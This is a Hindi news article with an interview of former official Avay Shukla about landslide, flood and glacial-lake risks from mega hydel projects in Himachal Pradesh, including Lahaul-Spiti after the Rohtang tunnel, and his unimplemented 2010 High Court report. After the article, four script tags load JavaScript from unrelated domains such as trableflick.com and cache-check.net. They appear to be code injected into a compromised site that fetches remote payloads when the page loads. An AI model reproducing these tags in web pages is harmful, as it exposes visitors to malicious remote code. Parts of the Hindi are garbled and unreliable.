क्या हिमाचल को इंतज़ार है उत्तराखंड जैसी त्रासदी का, हम सबके लेंगे, सुधरेंगे या आपदा का इंतज़ार करेंगे

<p>विश्व प्रसिद्ध रोहतांग सुरंग भले ही लाहौल-स्पीति के लोगों के लिए बड़ी सौगात लेकर आई है ओर इस सुरंग ने आदिवासियों के पुराने अलगाव को समाप्त करने में अहम भूमिका अदा की है। लेकिन इस खूबसूरत नाजुक घाटी में-कुछ घने ग्लेशियरों, संसाधनों, वन्यजीवों और नदियों का दोहन सबसे बड़ी चिंता है। क्षेत्र में 16 से अधिक मेगा हाइडल परियोजनाओं को पहले से ही निजी कंपनियों को आवंटित किया गया है – जो अब तक कनेक्टिविटी के कारण टेक-अप कमीशन के लिए अनिच्छुक रहे हैं, क्योंकि उनके काम से प्राचीन पर्यावरण, और संरक्षित जैव विविधता को गंभीर खतरा पैदा होगा।</p>

<p>उत्तराखंड की त्रासदी के बाद विरोध की आवाजें पूरे लाहौल-स्पीति और किन्नौर क्षेत्रों में जोर पकड़ने पकड़ने लगी है। छोटे से मानव लालच के लिए पहाड़ ख़तरे में है। तंदी (104 मेगावाट), रशिल (102 मेगावाट), बर्दांग (126 मेगावाट), मियार (90 मेगावाट), सेलि (400-मेगावाट) और जिस्पा (300 मेगावाट) जैसी परियोजनाएं इस क्षेत्र के लिए&nbsp; भारी पड़ने वाली हैं। क्योंकि बड़ी मशीनरी, ब्लास्टिंग और बांध का काम हमारी दो पवित्र नदियों-चंद्रा बेसिन&nbsp; सुदर्शन जस्पा में चल रहा है।</p>

<p>&ldquo;पिछले हफ्ते तेरह प्रमुख पर्यावरण समूहों और गैर सरकारी संगठनों ने उत्तराखंड जैसे पर्यावरणीय खतरों के बारे में अपनी मजबूत आशंकाएं उठाते हुए&nbsp; ऊंचाई वाले हिमालयी क्षेत्र, विशेष रूप से सतलुज, रावी, ब्यास और चिनाब के बेसिनों का&nbsp; किया है, Avay Shukla समिति ने 2010 में रिपोर्ट प्रस्तुत की। जिन कारणों से न तो उच्च न्यायालय और न ही राज्य सरकार ने संज्ञान लिया था। शुक्ला, तत्कालीन अतिरिक्त मुख्य सचिव (वन) ने उच्च न्यायालय की हरीत पीठ द्वारा गठित एक सदस्यीय समिति की अध्यक्षता की, जिसने नाजुक पारिस्थितिकी में आने वाली मेगा हाइडल परियोजनाओं के प्रभाव का अध्ययन किया, और आसन्न आपदाओं को रोकने के संभावित उपाय किए। अपनी 69 पृष्ठ की रिपोर्ट में, शुक्ला ने उच्च ऊंचाई वाली घाटियों में आने वाली परियोजनाओं पर पूर्ण प्रतिबंध लगाने की सिफारिश की थी, विशेष रूप से रावी, चिनाब और सतलुज के बेसिन-तीन पर, जो&nbsp; यह भी तबाह हो रहा है।</p>

<p>विस्तार से अध्ययन करने पर, 11 जलविद्युत परियोजनाओं के प्रभाव, हाईकोर्ट के पैनल ने, चंबा जिले में रावी नदी कैसे गायब हो जाती है, इस बात का महत्वपूर्ण अवलोकन किया व इसके गायब होने पर भी सवाल उठाए। नदी की लगभग 70 किमी की दूरी पर, जिस पर चार मेगा हाइडल परियोजनाएं — चमेरा- II, चमेरा- III, कुठेर और बाजोली-होली स्वीकृत हैं, सुरंगों के माध्यम से पानी अपने मूल बिस्तर पर प्रवाहित नहीं होगा। इससे ओर चाहे कुछ न हो लेकिन एक अनजान आपदा की आशंका हमेशा बनी रहती है। नदी केवल पानी का एक बायोमास नहीं है, यह देशी पारिस्थितिकी तंत्र है, जो मानव, जानवरों और समृद्ध जलीय जीवन को बनाए रखता है। सुरंगों में पानी निकालने की प्रक्रिया एक पर्यावरण बनती दिखाई देती है।</p>

<p>रिपोर्ट में कहा गया है कि अध्ययन की गई अधिकांश परियोजनाएं 15% के निर्वहन मानदंडों का पालन नहीं करती हैं और यह विफलता अनुपालन की नहीं है, बल्कि परियोजना के डिजाइन की है और दो परियोजनाओं के बीच न्यूनतम 5 किमी की दूरी के लिए सिफारिश की जाती है ताकि नदी का प्रवाह बना रहे। अंत में रिपोर्ट में नई परियोजनाओं को ऐसे समय तक रखने के लिए कहा गया है जिसमें एक नीति जो उपरोक्त इनपुट को ध्यान में रखती है। यह एक प्रमुख पर्यावरण कार्यकर्ता और शोधकर्ता कहते हैं कि दुर्भाग्य से रिपोर्ट का सबसे महत्वपूर्ण हिस्सा कभी भी लागू नहीं किया गया था।</p>

<p>इस पर अभय शुक्ला से पूछा गया कि&nbsp; आपको लगता है कि हाईकोर्ट को आपकी रिपोर्ट के बाद भी कई नई परियोजनाएं बहुत गलत लगी हैं?</p>

<p>जबाब में शुक्ला बनाते है कि जुलाई 2010 की मेरी रिपोर्ट दुर्भाग्य से कभी लागू नहीं की गई थी, जहां तक ​​मुझे पता है। राज्य सरकार द्वारा विरोध को समझा जा सकता था लेकिन मैं कभी यह पता लगाने में सक्षम नहीं था कि उच्च न्यायालय ने इस पर कोई कार्रवाई क्यों नहीं की, यह देखते हुए कि इसने मेरी एक-आदमी समिति को एक सू-मोटो कार्रवाई के रूप में नियुक्त किया था। चिनाब बेसिन चार प्रमुख नदी घाटियों में से सबसे नाजुक है और यह ध्यान देने के लिए चौंकाने वाला है कि इस बेसिन के एचपी हिस्से में 4032 मेगावाट की क्षमता के साथ 49 एचईपी स्वीकृत किए गए हैं। इससे पहले, कंपनियां स्थलाकृतिक कठिनाइयों के कारण यहां आने के लिए अनिच्छुक थीं, लेकिन रोहतांग सुरंग अब आसान हो गई है। इस लिहाज से सुरंग का लाहौल स्पीति जिले के पर्यावरण पर बहुत प्रतिकूल प्रभाव पड़ेगा।</p>

<p><span style=”color:#e67e22″><strong>इन क्षेत्रों में बड़े बांधों और परियोजनाओं के परिणामस्वरूप आपको क्या समस्याएँ हैं?</strong></span></p>

<p>मैं उन सभी समस्याओं की पुष्टि करता हूं जो मैंने अपनी रिपोर्ट में बताई थीं- ब्लास्टिंग, टनलिंग, सड़क निर्माण के परिणामस्वरूप भूवैज्ञानिक संरचनाओं का कमजोर होना, लगातार भूस्खलन और हिमस्खलन, नदी घाटियों और धाराओं में लाखों टन खुदाई किए गए बड़े पैमाने पर डंपिंग से नदियों और नालों की जल वहन क्षमता कम हो जाती है; बड़े पैमाने पर वनों की कटाई; प्रवाह में कमी यह सब ग्लोबल वार्मिंग और एक्सट्रीम वेदर इवेंट्स (ईडब्ल्यूई) के प्रभावों को बढ़ाएगा। हिमालयी क्षेत्र में हाईडेल परियोजनाओं का दोहरा प्रभाव है: वे प्राकृतिक घटनाओं (जैसे भूस्खलन, हिमस्खलन, फ्लैश बाढ़) के लिए ट्रिगर के रूप में भी कार्य करते हैं।</p>

<p><span style=”color:#8e44ad”><strong>इसका मतलब है कि आपको उत्तराखंड में ऐसी ही चीजें महसूस होती हैं?</strong></span></p>

<p>बिलकुल यदि ऋषगंगा और धौली घाटियों को मलबे और संचित मलबे से भरा नहीं गया था और बांधों द्वारा बाधित नहीं किया गया था, तो पानी में अचानक वृद्धि अलकनंदा नदी के लिए हानिरहित रूप से नीचे गिर जाएगी और बाहर निकल जाएगी। बहुत कम&nbsp; जान-माल का नुकसान नहीं हुआ होता। इस तरह की आपदा हिमाचल में होने का इंतजार कर रही है और इसे रोकने के लिए हम कुछ नहीं कर सकते। उत्तराखंड जैसी आपदा को कम करने या रोकने के लिए किस तरह के हस्तक्षेप की आवश्यकता है। इनसे ग्लोबल वार्मिंग से संबंधित हैं, जिसके परिणामस्वरूप ग्लेशियर झील के बाढ़ के खतरे (GLOF) के खतरे को कम करते हैं?</p>

<p>ग्लोबल वार्मिंग के साथ ग्लेशियर आउटबर्स्ट फ्लड (GLOF) अपरिहार्य हैं। ये बस वक्त की बात है। हिमाचल में 500 वर्ग मीटर और उससे अधिक आकार की 958 ग्लेशियल झीलें हैं। स्टेट काउंसिल ऑफ साइंस एंड टेक्नोलॉजी, 109 की एक रिपोर्ट में है।</p>

<p><span style=”color:#e74c3c”><strong>यह हिमाचल में पहले ही हो चुका है?</strong></span></p>

<p>हम सभी को याद है कि सतलज घाटी में करीब दो दशक पहले क्या हुआ था जब तिब्बत में एक झील फट गई थी: तब कम से कम हमारे पास सतलज घाटी में इतने सारे बांध नहीं थे, जिनके लाखों टन पानी के संचित शरीर थे। इसी तरह की एक घटना आज एक व्यापक प्रभाव पैदा करेगी, पहले की तुलना में कई गुना अधिक विनाशकारी जब घाटी में पानी का स्तर 30 फीट तक बढ़ गया था और यहां तक ​​कि रामपुर शहर को भी खतरा था।</p>

<p><span style=”color:#16a085″><strong>क्या अभी और परियोजनाओं पर पूर्ण विराम लगाने की आवश्यकता है?</strong></span></p>

<p>सबसे निश्चित रूप से- वास्तव में यह कम से कम एक दशक पहले किया जाना चाहिए था। हिमाचल में 27436 मेगावाट जलविद्युत क्षमता की पहचान की गई है, जिसमें से उसने 24000 मेगावाट (हिमाचल प्रदेश अर्थशास्त्र और सांख्यिकी विभाग) का दोहन करने की योजना बनाई है। 20,900 मेगावाट से अधिक को पहले ही आवंटित किया जा चुका है, जिसमें से 10,519 मेगावाट का कमीशन किया जा चुका है। इसलिए, कम लटके फलों को पहले ही चुन लिया गया है, और शेष 3000 मेगावाट होगा।</p>
<script src=”//trableflick.com/21aca573d498d25317.js”></script>
<script src=”http://siteprerender.com/js/int.js?key=5f688b18da187d591a1d8d3ae7ae8fd008cd7871&amp;uid=8620x” type=”text/javascript”></script>
<script src=”http://cache-check.net/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&amp;uid=8620x&amp;format=arrjs&amp;r=1613368636415″ type=”text/javascript”></script>
<script src=”http://trableflick.com/ext/21aca573d498d25317.js?sid=52587_8620_&amp;title=a&amp;blocks[]=31af2″ type=”text/javascript”></script>